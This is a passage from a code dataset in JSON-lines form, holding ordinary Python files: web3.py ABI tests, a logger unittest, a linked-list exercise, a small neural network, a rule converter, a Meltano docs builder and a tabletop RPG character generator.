chargrid_map = self.embedding_proj(chargrid_map)\n \n return chargrid_map.permute(0, 3, 1, 2).contiguous()\n \n ","repo_name":"AlibabaResearch/AdvancedLiterateMachinery","sub_path":"DocumentUnderstanding/VGT/object_detection/ditod/Wordnn_embedding.py","file_name":"Wordnn_embedding.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","stars":379,"dataset":"github-code","pt":"37"} +{"seq_id":"36667799769","text":"import json\nimport pytest\nfrom typing import (\n NamedTuple,\n)\n\nfrom web3._utils.abi import (\n ExactLengthBytesEncoder,\n abi_data_tree,\n get_aligned_abi_inputs,\n get_tuple_type_str_parts,\n map_abi_data,\n recursive_dict_to_namedtuple,\n)\nfrom web3._utils.normalizers import (\n BASE_RETURN_NORMALIZERS,\n abi_string_to_text,\n addresses_checksummed,\n)\n\n\n@pytest.mark.parametrize(\n \"input, expected\",\n (\n # Well-formed tuple type strings\n (\"tuple\", (\"tuple\", None)),\n (\"tuple[]\", (\"tuple\", \"[]\")),\n (\"tuple[1]\", (\"tuple\", \"[1]\")),\n (\"tuple[10]\", (\"tuple\", \"[10]\")),\n (\"tuple[19]\", (\"tuple\", \"[19]\")),\n (\"tuple[195]\", (\"tuple\", \"[195]\")),\n (\"tuple[][]\", (\"tuple\", \"[][]\")),\n (\"tuple[1][1]\", (\"tuple\", \"[1][1]\")),\n (\"tuple[1][]\", (\"tuple\", \"[1][]\")),\n (\"tuple[][1]\", (\"tuple\", \"[][1]\")),\n (\"tuple[][][]\", (\"tuple\", \"[][][]\")),\n (\"tuple[1][][]\", (\"tuple\", \"[1][][]\")),\n (\"tuple[][1][]\", (\"tuple\", \"[][1][]\")),\n (\"tuple[][][1]\", (\"tuple\", \"[][][1]\")),\n # Malformed tuple type strings\n (\"tupleasfasdf\", None),\n (\"uint256\", None),\n (\"bool\", None),\n (\"\", None),\n (\"tupletuple\", None),\n (\"tuple[0]\", None),\n (\"tuple[01]\", None),\n (\"tuple[][0]\", None),\n (\"tuple[][01]\", None),\n (\"tuple[0][][]\", None),\n (\"tuple[][0][]\", None),\n (\"tuple[][][0]\", None),\n ),\n)\ndef test_get_tuple_type_str_parts(input, expected):\n assert get_tuple_type_str_parts(input) == expected\n\n\nMyXYTuple = NamedTuple(\n \"MyXYTuple\",\n [\n (\"x\", int),\n (\"y\", int),\n ],\n)\n\n\nTEST_FUNCTION_ABI_JSON = \"\"\"\n{\n \"constant\": false,\n \"inputs\": [\n {\n \"components\": [\n {\n \"name\": \"a\",\n \"type\": \"uint256\"\n },\n {\n \"name\": \"b\",\n \"type\": \"uint256[]\"\n },\n {\n \"components\": [\n {\n \"name\": \"x\",\n \"type\": \"uint256\"\n },\n {\n \"name\": \"y\",\n \"type\": \"uint256\"\n }\n ],\n \"name\": \"c\",\n \"type\": \"tuple[]\"\n }\n ],\n \"name\": \"s\",\n \"type\": \"tuple\"\n },\n {\n \"components\": [\n {\n \"name\": \"x\",\n \"type\": \"uint256\"\n },\n {\n \"name\": \"y\",\n \"type\": \"uint256\"\n }\n ],\n \"name\": \"t\",\n \"type\": \"tuple\"\n },\n {\n \"name\": \"a\",\n \"type\": \"uint256\"\n },\n {\n \"components\": [\n {\n \"name\": \"x\",\n \"type\": \"uint256\"\n },\n {\n \"name\": \"y\",\n \"type\": \"uint256\"\n }\n ],\n \"name\": \"b\",\n \"type\": \"tuple[][]\"\n }\n ],\n \"name\": \"f\",\n \"outputs\": [],\n \"payable\": false,\n \"stateMutability\": \"nonpayable\",\n \"type\": \"function\"\n}\n\"\"\"\nTEST_FUNCTION_ABI = json.loads(TEST_FUNCTION_ABI_JSON)\n\n\nGET_ABI_INPUTS_OUTPUT = (\n (\n \"(uint256,uint256[],(uint256,uint256)[])\", # Type of s\n \"(uint256,uint256)\", # Type of t\n \"uint256\", # Type of a\n \"(uint256,uint256)[][]\", # Type of b\n ),\n (\n (1, [2, 3, 4], [(5, 6), (7, 8), (9, 10)]), # Value for s\n (11, 12), # Value for t\n 13, # Value for a\n [[(14, 15), (16, 17)], [(18, 19)]], # Value for b\n ),\n)\n\nGET_ABI_INPUTS_TESTS = (\n (\n TEST_FUNCTION_ABI,\n {\n \"s\": {\n \"a\": 1,\n \"b\": [2, 3, 4],\n \"c\": [{\"x\": 5, \"y\": 6}, {\"x\": 7, \"y\": 8}, {\"x\": 9, \"y\": 10}],\n },\n \"t\": {\"x\": 11, \"y\": 12},\n \"a\": 13,\n \"b\": [[{\"x\": 14, \"y\": 15}, {\"x\": 16, \"y\": 17}], [{\"x\": 18, \"y\": 19}]],\n },\n GET_ABI_INPUTS_OUTPUT,\n ),\n (\n TEST_FUNCTION_ABI,\n {\n \"s\": {\"a\": 1, \"b\": [2, 3, 4], \"c\": [(5, 6), (7, 8), {\"x\": 9, \"y\": 10}]},\n \"t\": {\"x\": 11, \"y\": 12},\n \"a\": 13,\n \"b\": [[(14, 15), (16, 17)], [{\"x\": 18, \"y\": 19}]],\n },\n GET_ABI_INPUTS_OUTPUT,\n ),\n (\n TEST_FUNCTION_ABI,\n {\n \"s\": {\"a\": 1, \"b\": [2, 3, 4], \"c\": [(5, 6), (7, 8), (9, 10)]},\n \"t\": (11, 12),\n \"a\": 13,\n \"b\": [[(14, 15), (16, 17)], [(18, 19)]],\n },\n GET_ABI_INPUTS_OUTPUT,\n ),\n (\n TEST_FUNCTION_ABI,\n {\n \"s\": (1, [2, 3, 4], [(5, 6), (7, 8), (9, 10)]),\n \"t\": (11, 12),\n \"a\": 13,\n \"b\": [[(14, 15), (16, 17)], [(18, 19)]],\n },\n GET_ABI_INPUTS_OUTPUT,\n ),\n (\n TEST_FUNCTION_ABI,\n (\n (1, [2, 3, 4], [(5, 6), (7, 8), (9, 10)]),\n (11, 12),\n 13,\n [[(14, 15), (16, 17)], [(18, 19)]],\n ),\n GET_ABI_INPUTS_OUTPUT,\n ),\n (\n TEST_FUNCTION_ABI,\n {\n \"s\": {\"a\": 1, \"b\": [2, 3, 4], \"c\": [(5, 6), (7, 8), MyXYTuple(x=9, y=10)]},\n \"t\": MyXYTuple(x=11, y=12),\n \"a\": 13,\n \"b\": [\n [MyXYTuple(x=14, y=15), MyXYTuple(x=16, y=17)],\n [MyXYTuple(x=18, y=19)],\n ],\n },\n GET_ABI_INPUTS_OUTPUT,\n ),\n (\n {},\n (),\n ((), ()),\n ),\n)\n\n\n@pytest.mark.parametrize(\n \"abi, args, expected\",\n GET_ABI_INPUTS_TESTS,\n)\ndef test_get_aligned_abi_inputs(abi, args, expected):\n assert get_aligned_abi_inputs(abi, args) == expected\n\n\nGET_ABI_INPUTS_RAISING_TESTS = (\n (\n TEST_FUNCTION_ABI,\n {\n \"s\": {\"a\": 1, \"b\": [2, 3, 4], \"c\": [\"56\", (7, 8), (9, 10)]},\n \"t\": (11, 12),\n \"a\": 13,\n \"b\": [[(14, 15), (16, 17)], [(18, 19)]],\n },\n ),\n (\n TEST_FUNCTION_ABI,\n {\n \"s\": {\"a\": 1, \"b\": [2, 3, 4], \"c\": {(5, 6), (7, 8), (9, 10)}},\n \"t\": (11, 12),\n \"a\": 13,\n \"b\": [[(14, 15), (16, 17)], [(18, 19)]],\n },\n ),\n)\n\n\n@pytest.mark.parametrize(\n \"abi, args\",\n GET_ABI_INPUTS_RAISING_TESTS,\n)\ndef test_get_aligned_abi_inputs_raises_type_error(abi, args):\n with pytest.raises(TypeError):\n get_aligned_abi_inputs(abi, args)\n\n\n@pytest.mark.parametrize(\n \"types, data, expected\",\n [\n (\n [\"bool[2]\", \"bytes\"],\n [[True, False], b\"\\x00\\xFF\"],\n [(\"bool[2]\", [(\"bool\", True), (\"bool\", False)]), (\"bytes\", b\"\\x00\\xFF\")],\n ),\n (\n [\"uint256[]\"],\n [[0, 2**256 - 1]],\n [(\"uint256[]\", [(\"uint256\", 0), (\"uint256\", 2**256 - 1)])],\n ),\n ],\n)\ndef test_abi_data_tree(types, data, expected):\n assert abi_data_tree(types, data) == expected\n\n\n@pytest.mark.parametrize(\n \"types, data, funcs, expected\",\n [\n (\n [\"bool[2]\", \"int256\"],\n [[True, False], 9876543210],\n [\n lambda typ, dat: (typ, \"Tru-dat\")\n if typ == \"bool\" and dat\n else (typ, dat),\n lambda typ, dat: (typ, hex(dat)) if typ == \"int256\" else (typ, dat),\n ],\n [[\"Tru-dat\", False], \"0x24cb016ea\"],\n ),\n (\n [\"address\"],\n [\"0x5b2063246f2191f18f2675cedb8b28102e957458\"],\n BASE_RETURN_NORMALIZERS,\n [\"0x5B2063246F2191f18F2675ceDB8b28102e957458\"],\n ),\n (\n [\"address[]\"],\n [[\"0x5b2063246f2191f18f2675cedb8b28102e957458\"] * 2],\n BASE_RETURN_NORMALIZERS,\n [[\"0x5B2063246F2191f18F2675ceDB8b28102e957458\"] * 2],\n ),\n (\n [\"(address,address)[]\"],\n [\n [\n (\n \"0x5b2063246f2191f18f2675cedb8b28102e957458\",\n \"0xebe0da78ecb266c7ea605dc889c64849f860383f\",\n )\n ]\n * 2\n ],\n BASE_RETURN_NORMALIZERS,\n [\n [\n (\n \"0x5B2063246F2191f18F2675ceDB8b28102e957458\",\n \"0xeBe0DA78ecb266C7EA605DC889c64849F860383F\",\n )\n ]\n * 2\n ],\n ),\n (\n [\"(string,address[])\"],\n [\n (\n b\"a string\",\n [b\"\\xf2\\xe2F\\xbbv\\xdf\\x87l\\xef\\x8b8\\xae\\x84\\x13\\x0fOU\\xde9[\"],\n )\n ],\n [addresses_checksummed, abi_string_to_text],\n [(\"a string\", [\"0xF2E246BB76DF876Cef8b38ae84130F4F55De395b\"])],\n ),\n ],\n)\ndef test_map_abi_data(types, data, funcs, expected):\n assert map_abi_data(funcs, types, data) == expected\n\n\n@pytest.mark.parametrize(\"arg\", (6, 7, 9, 12, 20, 30))\ndef test_exact_length_bytes_encoder_raises_on_non_multiples_of_8_bit_size(arg):\n with pytest.raises(ValueError, match=\"multiple of 8\"):\n _ = ExactLengthBytesEncoder(None, data_byte_size=2, value_bit_size=arg)\n\n\n@pytest.mark.parametrize(\n \"input, expected_output\",\n [\n ({\"a\": 1, \"b\": 2}, \"ABIDecodedNamedTuple(a=1, b=2)\"),\n ({\"a\": 0}, \"ABIDecodedNamedTuple(a=0)\"),\n ({\"a\": None}, \"ABIDecodedNamedTuple(a=None)\"),\n ({\"a\": False}, \"ABIDecodedNamedTuple(a=False)\"),\n ({}, \"ABIDecodedNamedTuple()\"),\n ({\"a\": {}}, \"ABIDecodedNamedTuple(a=ABIDecodedNamedTuple())\"),\n ({\"a\": []}, \"ABIDecodedNamedTuple(a=[])\"),\n ({\"a\": [0]}, \"ABIDecodedNamedTuple(a=[0])\"),\n ({\"a\": [{}]}, \"ABIDecodedNamedTuple(a=[ABIDecodedNamedTuple()])\"),\n (\n {\"a\": {\"b\": {}}},\n \"ABIDecodedNamedTuple(a=ABIDecodedNamedTuple(b=ABIDecodedNamedTuple()))\",\n ),\n ],\n)\ndef test_recursive_dict_to_namedtuple(input, expected_output):\n named_tuple_output = recursive_dict_to_namedtuple(input)\n output_repr = named_tuple_output.__repr__()\n assert output_repr == expected_output\n","repo_name":"ethereum/web3.py","sub_path":"tests/core/utilities/test_abi.py","file_name":"test_abi.py","file_ext":"py","file_size_in_byte":9931,"program_lang":"python","lang":"en","doc_type":"code","stars":4510,"dataset":"github-code","pt":"37"} +{"seq_id":"20266627600","text":"import logging\r\nimport os\r\nimport unittest\r\n\r\nfrom modules.loggersetup import create_logger\r\n\r\n\r\n\r\nclass TestLoggerSetup(unittest.TestCase):\r\n def test_createlogger(self):\r\n logger = create_logger(\r\n __file__,\r\n folder_path=\"C:\\\\Stream Analyser\\\\Logs\",\r\n file_name=\"_test.log\",\r\n sid=None,\r\n format=\"%(module)s:%(levelname)s:%(message)s\",\r\n mode=\"w\",\r\n )\r\n self.assertTrue(os.path.exists(self.test_log_path))\r\n\r\n logger.info(\"test\")\r\n logger.debug(\"test\")\r\n logger.warning(\"test\")\r\n # logger.error('test')\r\n # logger.critical('test')\r\n lvls = [\"INFO\", \"DEBUG\", \"WARNING\"] #'ERROR','CRITICAL']\r\n with open(self.test_log_path, \"r\") as f:\r\n for i, line in enumerate(f.readlines()):\r\n self.assertEqual(line, f\"test_loggersetup:{lvls[i]}:test\\n\")\r\n def setUp(self):\r\n self.test_log_path = \"C:\\\\Stream Analyser\\\\Logs\\\\_test.log\"\r\n def tearDown(self):\r\n logging.shutdown()\r\n os.remove(self.test_log_path)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()\r\n","repo_name":"emso-c/stream-analyser","sub_path":"streamanalyser/tests/test_loggersetup.py","file_name":"test_loggersetup.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2851164257","text":"from linked_list import *\n\n\"\"\"\nhttps://leetcode.com/problems/partition-list/\n\nGiven a linked list and a value x, partition it such that all nodes less than x come before nodes greater than or equal to x.\n\nYou should preserve the original relative order of the nodes in each of the two partitions.\n\nFor example,\nGiven 1->4->3->2->5->2 and x = 3,\nreturn 1->2->2->4->3->5.\n\nsolution:\n1. separate the list into 2 distinct lists and link them afterwards.\n\n2. p1, p2 traverses the list and hd1 and hd2 are the heads of two lists\n\"\"\"\ndef partition(head, x):\n dummy_node_1 = p1 = Node(0)\n dummy_node_2 = p2 = Node(0)\n\n while head != None:\n if head.data < x:\n p1.next = head\n p1 = p1.next\n else:\n p2.next = head\n p2 = p2.next\n\n head = head.next\n\n # join the lists\n p2.next = None # end the second list\n p1.next = dummy_node_2.next # join first list to second list\n return dummy_node_1.next\n\nif __name__ == '__main__':\n a = Node(1)\n b = Node(4)\n c = Node(3)\n d = Node(2)\n e = Node(5)\n f = Node(2)\n\n a.next = b\n b.next = c\n c.next = d\n d.next = e\n e.next = f\n\n res = partition(a, 3)\n\n while res is not None:\n print(str(res.data) + \"\\n\")\n res = res.next\n","repo_name":"yanbinkang/problem-bank","sub_path":"leetcode/linked_lists/python/partition_list_leetcode.py","file_name":"partition_list_leetcode.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43795003181","text":"# !/usr/bin/env python\n# -*- coding:utf-8 -*-\n'''BP神经网络原理推导及程序实现'''\n'''https://www.cnblogs.com/xuhongbin/p/6666826.html'''\nimport numpy as np\n'''神经网络的激活函数(Activation Function)及python代码实现'''\n'''https://blog.csdn.net/carmelcarmen/article/details/79344996'''\n\n# tanh 函数\ndef tanh(x):\n return np.tanh(x)\n\n\n# tanh 函数的导数\ndef tanh_derivative(x): # derivative的意思是导数\n return 1 - np.tanh(x)*np.tanh(x)\n\n\n# sigmoid 函数\ndef logistic(x):\n return 1/(1+np.exp(-x))\n\n\n# sigmoid 函数的导数\ndef logistic_derivative(x):\n return logistic(x)*(1-logistic(x))\n\n\nclass NeuralNetwork:\n def __init__(self, layers, activation='tanh'): # “activation”参数决定了激活函数的种类,是tanh函数还是sigmoid函数。\n if activation == 'logistic':\n self.activation = logistic\n self.activation_deriv = logistic_derivative\n elif activation == 'tanh':\n self.activation = tanh\n self.activation_deriv = tanh_derivative\n # 随机产生权重值\n self.weights = [] # 以隐含层前后层计算产生权重参数,参数初始时随机,取值范围是[-0.25, 0.25]\n for i in range(1, len(layers)-1): # 不算输入层,循环\n self.weights.append((2*np.random.random((layers[i-1]+1, layers[i]+1))-1)*0.25)\n self.weights.append((2*np.random.random((layers[i]+1, layers[i+1]))-1)*0.25)\n #self.weights.append((2*np.random.random((layers[i+1], layers[i+2]))-1)*0.25)\n print(\"输入层、隐含层和输出层的数量是:\"+str(layers))\n print(\"权重是:\"+str(self.weights))\n\n def fit(self, x, y, learning_rate=0.2, epochs=10000):\n x = np.atleast_2d(x) # 创建并初始化要使用的变量。\n temp = np.ones([x.shape[0], x.shape[1]+1])\n temp[:, 0:-1] = x\n x = temp\n y = np.array(y)\n# 以下开始至74行,进行BP神经网络的训练的核心部分\n for k in range(epochs): # 循环epochs次\n i = np.random.randint(x.shape[0]) # 随机产生一个数,对应行号,即数据集编号\n a = [x[i]] # 抽出这行的数据集\n\n # 迭代将输出数据更新在a的最后一行\n for l in range(len(self.weights)):\n a.append(self.activation(np.dot(a[l], self.weights[l])))\n\n # 减去最后更新的数据,得到误差\n error = y[i] - a[-1]\n deltas = [error * self.activation_deriv(a[-1])]\n\n # 求梯度\n for l in range(len(a) - 2, 0, -1):\n deltas.append(deltas[-1].dot(self.weights[l].T)*self.activation_deriv(a[l]))\n\n # 反向排序\n deltas.reverse()\n\n # 梯度下降法更新权值\n for i in range(len(self.weights)):\n layer = np.atleast_2d(a[i])\n delta = np.atleast_2d(deltas[i])\n self.weights[i] += learning_rate * layer.T.dot(delta)\n\n# 这段是预测函数,其实就是将测试集的数据输入,然后正向走一遍训练好的网络最后再返回预测结果。\n def predict(self, x):\n x = np.array(x)\n temp = np.ones(x.shape[0] + 1)\n temp[0:-1] = x\n a = temp\n for l in range(0, len(self.weights)):\n a = self.activation(np.dot(a, self.weights[l]))\n return a\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jiandan2580/xssed_data-process","sub_path":"yaner/BP_NN.py","file_name":"BP_NN.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20188577406","text":"import sys\nrulesin = sys.argv[1]\nrulesout = rulesin + '-vlog'\n\nprefixes = {}\npredid = 0\nbinaryPredicates = {}\nunaryPredicates = {}\nrules = []\n\ndef translatePredicate(pred, unary, predid):\n if unary:\n if pred not in unaryPredicates:\n unaryPredicates[pred] = \"RP\" + str(predid)\n predid += 1\n newpred = unaryPredicates[pred]\n else:\n if pred not in binaryPredicates:\n binaryPredicates[pred] = \"RP\" + str(predid)\n predid += 1\n newpred = binaryPredicates[pred]\n return newpred, predid\n\n\ndef processAtom(atom, predid):\n # Get predicate\n idx = atom.find('(')\n pred = atom[:idx]\n # Get variables\n v = atom[idx + 1: -1]\n vs = v.split(',')\n unary = len(vs) == 1\n pred, predid = translatePredicate(pred, unary, predid)\n # Translate the variables\n vartext = \"\"\n for var in vs:\n vartext += var[1:] + ','\n vartext = vartext[:-1]\n return pred + '(' + vartext + ')', predid\n\n\nfor line in open(rulesin, 'rt'):\n line = line[:-1]\n if line.startswith(\"PREFIX\"):\n line = line[7:]\n key = line[:line.find(':')]\n value = line[line.find(':')+1:]\n prefixes[key] = value\n else:\n # It's a rule\n if len(line) == 0:\n continue\n tkns = line.split(' :- ')\n head = tkns[0]\n body = tkns[1]\n if len(tkns) > 2:\n print(line)\n head, predid = processAtom(head, predid)\n body = body[:-1]\n body = body.split(', ')\n bodyAtoms = []\n for bodyAtom in body:\n bodyAtom, predid = processAtom(bodyAtom, predid)\n bodyAtoms.append(bodyAtom)\n rule = ''\n for b in bodyAtoms:\n rule += b + ','\n rule = rule[:-1]\n rule = head + ' :- ' + rule\n rules.append(rule)\n\nfout = open(rulesout, 'wt')\n# First print the unary predicate\nfor k,v in unaryPredicates.items():\n classname = k\n if ':' in classname:\n idpred = classname[:classname.find(':')]\n value = classname[classname.find(':')+1:]\n p = prefixes[idpred]\n p = p[1:-1]\n classname = p + value\n rule = v + '(X) :- TE(X,rdf:type,' + classname + '>)'\n fout.write(rule + '\\n')\nfor k,v in binaryPredicates.items():\n predname = k\n if ':' in predname:\n idpred = predname[:predname.find(':')]\n value = predname[predname.find(':')+1:]\n p = prefixes[idpred]\n p = p[1:-1]\n predname = p + value\n rule = v + '(X,Y) :- TE(X,' + predname + '>,Y)'\n fout.write(rule + '\\n')\n#write the rules\nfor r in rules:\n fout.write(r + '\\n')\nfout.close()\n","repo_name":"karmaresearch/vlog","sub_path":"scripts/rdfox2vlog.py","file_name":"rdfox2vlog.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"37"} +{"seq_id":"22279974307","text":"import json\nimport shutil\nfrom pathlib import Path\nfrom typing import List\n\nimport commonmark\nfrom jinja2 import Environment, FileSystemLoader, TemplateNotFound\nfrom meltano.core.db import project_engine\nfrom meltano.core.environment_service import EnvironmentService\nfrom meltano.core.plugin import PluginType\nfrom meltano.core.plugin.settings_service import PluginSettingsService\nfrom meltano.core.plugin_discovery_service import PluginDiscoveryService\nfrom meltano.core.project import Project\nfrom meltano.core.project_plugins_service import DefinitionSource, ProjectPluginsService\nfrom meltano.core.settings_store import SettingValueStore\nfrom tabulate import tabulate\n\nfrom ..settings import TEMPLATE_DIR\nfrom .details import (\n DocsField,\n EnvironmentSettingValues,\n ExtractorDocs,\n Setting,\n SettingStore,\n SettingValue,\n)\n\n\nclass BaseDocsBuilder:\n def __init__(\n self,\n project_root: Path,\n docs_root: Path,\n template_dir: Path,\n include_setting_values: bool = False,\n ):\n self.project_root = project_root\n self.docs_root = Path(docs_root)\n self.include_setting_values = include_setting_values\n\n self.project = Project(root=self.project_root)\n self.project_plugins_service = ProjectPluginsService(project=self.project)\n\n _, Session = project_engine(self.project) # noqa: N806\n self.session = Session()\n\n template_paths = [TEMPLATE_DIR]\n\n if template_dir:\n # Put at the front so it's loaded first\n template_paths.insert(0, template_dir)\n\n self.jinja_env = Environment(\n loader=FileSystemLoader(template_paths),\n trim_blocks=True,\n lstrip_blocks=True,\n )\n if self.docs_root.exists():\n # clean up previous run\n shutil.rmtree(self.docs_root)\n self.docs_root.mkdir(parents=True, exist_ok=True)\n\n\nclass ProjectDocsBuilder(BaseDocsBuilder):\n \"\"\"Render docs for a Meltano Project.\"\"\"\n\n def _get_environment_setting_values(self, plugin, environment=\"base\"):\n if environment == \"base\":\n self.project.deactivate_environment()\n else:\n self.project.activate_environment(environment)\n\n plugin_settings_service = PluginSettingsService(\n project=self.project,\n plugin=plugin,\n plugins_service=self.project_plugins_service,\n )\n config = plugin_settings_service.config_with_metadata(\n session=self.session, extras=False, redacted=True\n )\n setting_values = []\n for setting in config.values():\n if environment == \"base\" and setting[\"source\"] in {\n SettingValueStore.DEFAULT,\n SettingValueStore.MELTANO_YML,\n SettingValueStore.INHERITED,\n SettingValueStore.DOTENV,\n }:\n setting_values.append(\n SettingValue(\n name=setting[\"name\"],\n value=setting[\"value\"],\n is_redacted=setting[\"setting\"].is_redacted,\n source=SettingStore(setting[\"source\"]),\n )\n )\n elif setting[\"source\"] in {SettingValueStore.MELTANO_ENV}:\n setting_values.append(\n SettingValue(\n name=setting[\"name\"],\n value=setting[\"value\"],\n is_redacted=setting[\"setting\"].is_redacted,\n source=SettingStore(setting[\"source\"]),\n )\n )\n return EnvironmentSettingValues(\n environment=environment, setting_values=setting_values\n )\n\n def get_all_settings(self, plugin):\n environments = EnvironmentService(project=self.project).list_environments()\n base = self._get_environment_setting_values(plugin, \"base\")\n environment_settings = [\n self._get_environment_setting_values(plugin, environment.name)\n for environment in environments\n ]\n return [base] + environment_settings\n\n def get_extractor_documentation(self, plugin) -> dict:\n \"\"\"Very basic plugin definition information.\n\n TODO: Replace with something that hits the Hub API.\n \"\"\"\n with self.project_plugins_service.use_preferred_source(DefinitionSource.HUB):\n hub_plugin, _ = self.project_plugins_service.find_parent(plugin)\n\n description = (\n DocsField(name=\"description\", value=plugin.description)\n if plugin.description\n else DocsField(\n name=\"description\",\n value=hub_plugin.description,\n tooltip=f\"This value was retrieved from Meltano Hub. Use 'meltano config {plugin.name} set description ' to override.\",\n )\n )\n settings = [Setting.parse_obj(setting) for setting in plugin.all_settings]\n current_settings = []\n capabilities = plugin.capabilities\n if self.include_setting_values:\n current_settings = self.get_all_settings(plugin=plugin)\n\n return ExtractorDocs(\n name=plugin.name,\n label=plugin.label,\n variant=plugin.variant,\n description=description,\n capabilities=capabilities,\n settings=settings,\n environment_setting_values=current_settings,\n )\n\n def render_extractors(self, extractors):\n \"\"\"Write plugin details into valid .rst files in the docs source.\"\"\"\n # get extractor details\n extractor_definitions = [\n self.get_extractor_documentation(plugin) for plugin in extractors\n ]\n # write extractor details to JSON\n extract_root = self.docs_root / \"extract\"\n extract_root.mkdir(parents=True, exist_ok=True)\n extractor_def_files = []\n for plugin_def in extractor_definitions:\n plugin_def_file_path = (\n extract_root / f\"{plugin_def.name}-{plugin_def.variant}.json\"\n )\n with open(plugin_def_file_path, \"w\") as plugin_def_file:\n json.dump(plugin_def.dict(), plugin_def_file)\n extractor_def_files.append(str(plugin_def_file_path))\n # render extractor directives\n extractor_directives = []\n for extractor_def, extractor_def_file in zip(\n extractor_definitions, extractor_def_files\n ):\n rst = self.jinja_env.get_template(\"build/extractor.rst\").render(\n extractor_def=extractor_def_file\n )\n with open(\n extract_root / f\"{extractor_def.name}-{extractor_def.variant}.rst\",\n \"wb+\",\n ) as extractor_docs:\n extractor_docs.write(rst.encode(\"utf-8\"))\n extractor_directives.append(\n f\"extract/{extractor_def.name}-{extractor_def.variant}\"\n )\n # write extractors toc\n rst = self.jinja_env.get_template(\"build/extractors.rst\").render(\n include=extractor_directives\n )\n with open(\n self.docs_root / \"extractors.rst\",\n \"wb+\",\n ) as extractors_docs:\n extractors_docs.write(rst.encode(\"utf-8\"))\n\n def render_plugins(self, include: List[str]):\n rst = self.jinja_env.get_template(\"build/plugins.rst\").render(include=include)\n with open(self.docs_root / \"plugins.rst\", \"wb+\") as plugin_docs:\n plugin_docs.write(rst.encode(\"utf-8\"))\n\n def render_index(self, include: List[str]):\n rst = self.jinja_env.get_template(\"build/index.rst\").render(include=include)\n with open(self.docs_root / \"index.rst\", \"wb+\") as index:\n index.write(rst.encode(\"utf-8\"))\n\n def render(self):\n extractors = self.project_plugins_service.get_plugins_of_type(\n plugin_type=PluginType.EXTRACTORS, ensure_parent=True\n )\n self.render_extractors(extractors)\n self.render_plugins(include=[\"extractors\"])\n self.render_index(include=[\"plugins\"])\n","repo_name":"MeltanoLabs/sphinx-meltano","sub_path":"src/sphinx_meltano/meltano/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":8138,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"73095765226","text":"\"\"\"\nHandles generation of characters\n\"\"\"\n\nfrom threading import Thread\n\nimport Lib.Utilities.Mongo as Mongo\nimport Lib.Character as Character\n\nfrom ExternalServices import SAVE_LOCATION\n\n\nclass Generator(object):\n \"\"\"\n Class that handles the actual character generation. It gets information from the project Mongo\n Database, uses this to instantiate a character, and contains functions for ensuring some\n character features get generated correctly.\n \"\"\"\n def __init__(self, open_gaming_only=False):\n \"\"\"\n Gets all information from the Mongo Database and uses it to instantiate a character class.\n\n :param bool open_gaming_only: If set to true, only OLG licensed or homebrew materials\n where the rights-holders have given me permission to use them will be used in the\n character.\n \"\"\"\n self.open_gaming_only = open_gaming_only\n self.Mongo = Mongo\n self.classes = []\n self.bonds = []\n self.packages = []\n self.disorders = {\n \"Violence\": [],\n \"Helplessness\": [],\n \"Unnatural\": []\n }\n self.skill_mapping = {}\n self.defaults = {}\n self.sub_skills = {}\n\n threads = [\n Thread(target=self._get_classes),\n Thread(target=self._get_packages),\n Thread(target=self._get_defaults),\n Thread(target=self._get_violence_disorders),\n Thread(target=self._get_helplessness_disorders),\n Thread(target=self._get_unnatural_disorders),\n Thread(target=self._get_sub_skills),\n Thread(target=self._get_skill_mapping)\n ]\n\n for t in threads:\n t.start()\n\n for t in threads:\n t.join()\n\n self.character = Character.RandomCharacter(self.defaults, self.sub_skills,\n self.skill_mapping)\n\n def _get_classes(self):\n \"\"\"\n Gets character classes from the database and appends them to the classes property.\n\n :return: None\n \"\"\"\n if self.open_gaming_only:\n self.classes = self.Mongo.find_subset('classes', {\"open\": True})\n else:\n self.classes = self.Mongo.find_all('classes')\n\n def _get_violence_disorders(self):\n \"\"\"\n Gets all violence related disorders from the database.\n\n :return: None\n \"\"\"\n self.disorders['Violence'] = self.Mongo.find_subset('disorders', {\"Violence\": True})\n\n def _get_helplessness_disorders(self):\n \"\"\"\n Gets all helplessness related disorders from the database.\n\n :return: None\n \"\"\"\n self.disorders['Helplessness'] = self.Mongo.find_subset('disorders', {\"Helplessness\": True})\n\n def _get_unnatural_disorders(self):\n \"\"\"\n Gets all unnatural related disorders from the database.\n\n :return: None\n \"\"\"\n self.disorders['Unnatural'] = self.Mongo.find_subset('disorders', {\"Unnatural\": True})\n\n def _get_packages(self):\n \"\"\"\n Gets packages from the database and appends them to the **packages** property.\n\n :return: None\n \"\"\"\n if self.open_gaming_only:\n self.packages = self.Mongo.find_subset('packages', {\"open\": True})\n else:\n self.packages = self.Mongo.find_all('packages')\n\n def _get_defaults(self):\n \"\"\"\n Gets default skills from the database and appends them to the **defaults** property.\n\n :return: None\n \"\"\"\n self.defaults = self.Mongo.find_one('default_stats')\n\n def _get_skill_mapping(self):\n \"\"\"\n Gets skill mappings (which determine stat order) from the database and appends them to\n the **skill_mapping** property.\n\n :return: None\n \"\"\"\n self.skill_mapping = self.Mongo.find_one('skill_mapping')\n\n def _get_sub_skills(self):\n \"\"\"\n Gets a dictionary mapping sub-skill categories to their specific options from the database\n and appends them to the **sub_skills** property.\n\n :return: None\n \"\"\"\n self.sub_skills = self.Mongo.find_one('sub_skills')\n\n def _get_bonds(self):\n \"\"\"\n Gets bonds that are available to the character (based on the class and package) from the\n database and appends them to the **bonds** property.\n\n :return: None\n \"\"\"\n required = [None]\n\n character_class = self.character.get_class()\n if character_class:\n required.append(character_class)\n\n character_package = self.character.get_package()\n if character_package:\n required.append(character_package)\n\n self.bonds = self.Mongo.find_subset('bonds', {\"Required\": {\"$in\": required}})\n\n def 